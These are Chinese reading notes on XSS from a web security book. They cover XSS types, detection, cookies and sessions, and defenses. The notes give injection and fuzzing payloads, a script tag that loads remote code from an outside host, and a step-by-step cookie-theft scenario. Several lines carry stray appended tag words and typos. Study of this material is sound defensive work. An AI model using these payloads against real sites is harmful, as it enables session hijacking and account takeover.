《Web安全深度解析》讀書筆記-原理篇-XSS跨站腳本漏洞

XSS又叫CSS(Cross Site Scripting),即跨站腳本攻擊,是最多見的Web應用程序安全漏洞之一。php

XSS是指攻擊者在網頁中嵌入客戶端腳本,一般是JavaScript編寫的惡意代碼,當用戶使用瀏覽器瀏覽嵌入惡意代碼的網頁時,惡意代碼將會在用戶的瀏覽器上執行數據庫

7.一、XSS原理解析瀏覽器

若是想要深刻研究XSS,必需要精通JavaScript。安全

當輸入<script>alert(//xss)</script>時,將觸發XSS攻擊。服務器

攻擊者能夠在<script>與</script>之間輸入JavaScript代碼,實現一些特殊效果。cookie

在真實的攻擊中,攻擊者通常不只僅彈出一個框,網絡

一般使用<script src="http://www.secbug.org/x.txt"></script>方式來加載外部腳本,dom

而在x.txt中存放着攻擊者的惡意JavaScript代碼,這段代碼多是用來盜取用戶的Cookie,xss

也多是監控鍵盤記錄等惡意行爲。函數

注:JavaScript加載外部的代碼文件能夠是任意擴展名的(無擴展名也是能夠的),

如<script src=「http://www.secbug.org/x.jpg」></script>,即便文件爲圖片擴展名x.jpg,

但只要其中包含JavaScript代碼就會被執行。

7.二、XSS類型

反射型、存儲型、DOM型

7.2.一、反射型XSS

反射型XSS也被稱爲非持久性XSS,是如今最容易出現的一種XSS漏洞。

反射型xss和dom-xss都須要在url加入js代碼纔可以觸發。

當用戶訪問一個帶有XSS代碼的URL請求時,服務器端接收數據後處理,而後把帶有XSS代碼的數據發送到瀏覽器,瀏覽器解析到這段帶有XSS代碼的數據後,最終形成XSS漏洞。

function getCookie(cname) { var name = cname + "="; var ca = document.cookie.split(';'); for(var i=0; i<ca.length; i++) { var c = ca[i].trim(); if (c.indexOf(name)==0) return c.substring(name.length,c.length); } return ""; }

如下是攻擊者利用反射型XSS漏洞能夠以HIM身份登陸網站,可能的步驟

一、用戶HIM是網站www.secbug.org的忠實粉絲,常常泡站內論壇

二、攻擊者發現www.secbug.org/xss.php存在反射型XSS漏洞,而後精心狗仔JavaScript代碼,來獲取用戶的Cookie發送到指定的站點www.xxser.com。

三、攻擊者將帶有反射型XSS漏洞的URL經過站內信發給用戶HIM,站內信爲一些誘惑信息,目的是爲了讓後湖HIM點擊連接。

四、假設用戶HIM點擊了帶有XSS漏洞的URL,那麼僵會把本身的COOkie以HIM的身份登陸www.xxser.com。

五、攻擊者接收到用戶HIM的會話Cookie,能夠直接利用Cookie以HIM的身份登陸www.secbug.org,,從而得到用戶HIM的敏感信息。

7.2.二、存儲型XSS

存儲型XSS又被稱爲持久性XSS,存儲型XSS是最危險的一種跨站腳本,存入了數據庫,再取出來,致使的xss

容許用戶存儲數據的Web應用程序均可能會出現存儲型XSS漏洞,當攻擊者提交一段XSS代碼後,被服務器接收並存儲,當攻擊者再次訪問某個頁面時,這段xss代碼被程序讀出來響應給瀏覽器,形成XSS跨站攻擊,這就是存儲型XSS。存儲型XSS與反射型XSS和DOM型XSS的最大區別在於,不須要依靠用戶手動去觸發執行。

存儲型XSS場景

在測試是否存在XSS時,首先須要肯定輸入點和輸出點,例如,咱們要在留言內容上測試XSS漏洞,首先就要去尋找留言內容輸出的地方是在標籤內仍是在標籤屬性內,或者在其餘地方,若是輸出的數據在屬性內,那麼XSS代碼是不會被執行的,如:

<input type="text" name="content" value="<script>alert(1)</scritp>"/>

以上JavaScript代碼雖然成功的插入到HTML中,但卻沒法執行,由於XSS代碼出如今value屬性中,被當作值來處理,最終瀏覽器解析HTML是,將會把數據以文本的形式輸出在網頁中。

知道了輸出點以後就能夠根據相應的標籤狗仔HTML代碼來閉合,插入XSS代碼: "/><script> alert(1)</script>,最終在HTML中文檔爲:

<input type="text" name="content" value=""/ ><script>alert(1)</scritp>"/>

模糊測試方案

<script>alert(document.cookie)</script>

"/><script>alert(document.cookie)</script>

</ttextarea>'"<script>alert(document.cookie)</script>

DOM型XSS

全稱爲Document Object Model,即文檔對象模型,DOM一般用於表明在HTML、XHTML、XML中的對象。DOM提供HTML文檔中全部的元素的位置,提供文檔結構化表示,而且定義瞭如何經過腳原本訪問文檔結構。

他也屬於反射型xss的一種(2016.3.16修改,domxss取決於輸出位置,並不取決於輸出環境,所以domxss既有多是反射型的,也有多是存儲型的),簡單去理解就是由於他輸出點在DOM,因此在道哥的《白帽子講Web安全裏》也有詳細介紹。dom - xss是經過url傳入參數去控制觸發的。)

DOM規定以下:

整個文檔是一個文檔節點;

每一個HTML標籤是一個元素節點;

包含在HTML元素中的文本是一個文本節點;

每個HTML屬性是一個屬性節點;

節點與節點之間都有等級關係。

 

 

7.三、檢測XSS

7.3.一、人工檢測

考慮哪裏有輸入,輸入的數據在什麼地方輸出。

手工檢測注意選擇有特殊意義的字符,這樣可以快速檢測是否存在XSSS。

在測試某輸入框是否存在XSS漏洞時,不要直接輸入XSS跨站語句測試,應該一步一步地進行,這樣更有利於測試:

一、得知輸出位置

輸入一些敏感字符,例如 < > " ' ( )等,在提交請求後,看HTML源代碼,看這些輸入是否被轉義。

二、沒法得知輸出位置

在<div>標籤:<div>XSS Test </div>

在<input>標籤:<input type="text" name="content" value="XSS Test"/>

這種狀況,一般會採用輸入 "/> XSS Test 來測試

7.3.二、全自動檢測XSS

利用工具進行檢測,如Burp Suite 等,也有專門的XSSER、XSSF進行掃描。

7.四、XSS高級利用

危害:

盜取用戶Cookie

修改頁面內容

網站掛馬

利用網站重定向

XSS蠕蟲

7.4.一、XSS會話劫持

一、Cookie簡介

Cookie是可以讓網站服務器把少許文本數據存儲到客戶端的硬盤、內存,或是從客戶端的硬盤、內存讀取數據的一種技術。

HTTP是無狀態的,Web服務器沒法區分請求是否來自同一個瀏覽器,,Cookie是Web服務器用於標識用戶、維護會話。

當你瀏覽某個網站是,該網站可能向你的電腦硬盤寫入一個文件,記錄你的ID、密碼、停留時間等信息,這個文件就是Cookie,

當你第二次訪問這個網站時,瀏覽器會自動檢測你的硬盤,並將存儲在本地的Cookie發送給網站,這樣網站能夠作出響應的動做,、

如,自動登陸登。

Cookie按照在客戶端的存儲位置,分爲內存Cookie和硬盤Cookie。內存Cookie由瀏覽器維護,保護在內存中,瀏覽器關閉後消失。

硬盤Cookie保存在硬盤裏,有一個過時時間,除非用戶手動清理或到了過時時間,不然硬盤Cookie不會被刪除,其存儲時間是長期的,

因此Cookie也能夠分爲持久Cookie和非持久Cookie。

一個用戶電腦上的Cookie可能存在多個,他們分別存儲來自不一樣網站的信息。

Cookie也存在限制,大多數瀏覽器支持最大4096B的Cookie,這樣就限制了Cookie的大小最多也就只能在4K左右。

大多數瀏覽器只容許每一個站點存儲20個Cookie,若是試圖存儲更多,則最舊的Cookie便會被丟棄。有些瀏覽器還會對全部站點的Cookie總數作出絕對限制,一般爲300個。

二、Cookie格式

Cookie是一組K,V形式。

Set-Cookie:HTTP響應頭,Web服務器經過此HTTP頭向客戶端發送Cookie

name=value:這是每一個Cookie均有的部分,用戶能夠經過name獲取Cookie中存放的value,在字符串「name=value」中不存在分號,逗號和空格等字符;

expires=date:Expires肯定了Cookie的有效終止日期,且屬性值date必須以特定的格式來書寫「星期幾,DD-MM-YY HH:MM:SS GMT」,其中GMT指格林尼治時間。

該變量可省,若是缺省,則COokie的屬性值不會保存在用戶的磁盤中,僅僅是保存在內存裏,Cookie將隨瀏覽器的關閉而消失。

domain=domain-name:Domain變量肯定了哪些Internet域中的Web服務器能夠讀取瀏覽器存儲的Cookie,即只有來自這個域的頁面才能使用Cookie中的信息。

若是缺省,值爲改Web服務器的域名。

path=path:Path屬性定義了Web服務器上那些路徑下的頁面能夠獲取服務器發送過來的Cookie。若是過Path屬性值爲「/」,則Web服務器上全部的WWW資源都可讀取該Cookie。

若是缺省,值爲Web服務器傳給瀏覽器的資源路徑名。

經過domain和path兩個變量的設置,能夠有效的控制Cookie文件被訪問的範圍。

Secure:在Cookie中標記該變量,代表只有當瀏覽器和Web Server之間通信協議爲加密認證協議時,瀏覽器才向服務器提交相應的Cookie,當前只有HTTPS協議屬於這種狀況。

HttpOnly:禁止JavaScript讀取。

Cookie信息通常都是加密的,普通用戶看到只是一些毫無心義的字符串。

三、讀寫Cookie

HTTP的響應頭:Set-Cookie頭

四、JavaScript操做Cookie

經過Burp Suite攔截請求後,替換請求中的Cookie

或者經過Chrome的Console替換Cookie

五、SESSION

SESSION在計算機中,尤爲是網絡引用,被稱爲會話。

SESSION機制是一種服務器端的機制,服務器使用一中相似於散列表的結構表來保存信息。

Web中的SESSION是指用戶在瀏覽某個網站時,從進入網站到瀏覽器關閉所通過的這段時間,也就是一次客戶端與服務器端的對話,被稱爲SESSION,當關閉瀏覽器後,SESSION懂註銷。

SEESION與Cookie的區別:Cookie將數據存儲在客戶端,SESSION將數據存儲在服務端,僅僅在客戶端存儲一個ID。

7.五、修復XSS跨站漏洞

XSS跨站漏洞最終造成的緣由是對輸入與輸出沒有嚴格的過濾,在頁面執行JavaScript等客戶端腳本。

7.5.二、HttpOnly

對防護XSS漏洞不起做用,主要是爲了解決XSS漏洞後續的Cookie劫持攻擊。

 

命令行漏洞

儘可能不要使用系統執行命令

在進入命令行函數/方法以前,變量必定要作好過濾,對敏感字符進行轉義

在使用動態函數以前,確保使用的函數是指定的函數之一。

對PHP語言來講,不能徹底控制的風險函數最好不要使用。

在防範以前確保輸入是否可控。

文件包含漏洞

程序人員一般會把重複使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無再次編寫,這種調用文件的過程通常會成爲包含。

其餘漏洞

CSRF(Cross-Site Request Forgery):跨站請求僞造,也稱爲One Click Attack或Session Riding

如何理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義進行某些非法的操做。

CSRF攻擊創建在瀏覽器與Web服務器的會話中;

欺騙用戶訪問URL

相關文章
相關標籤/搜索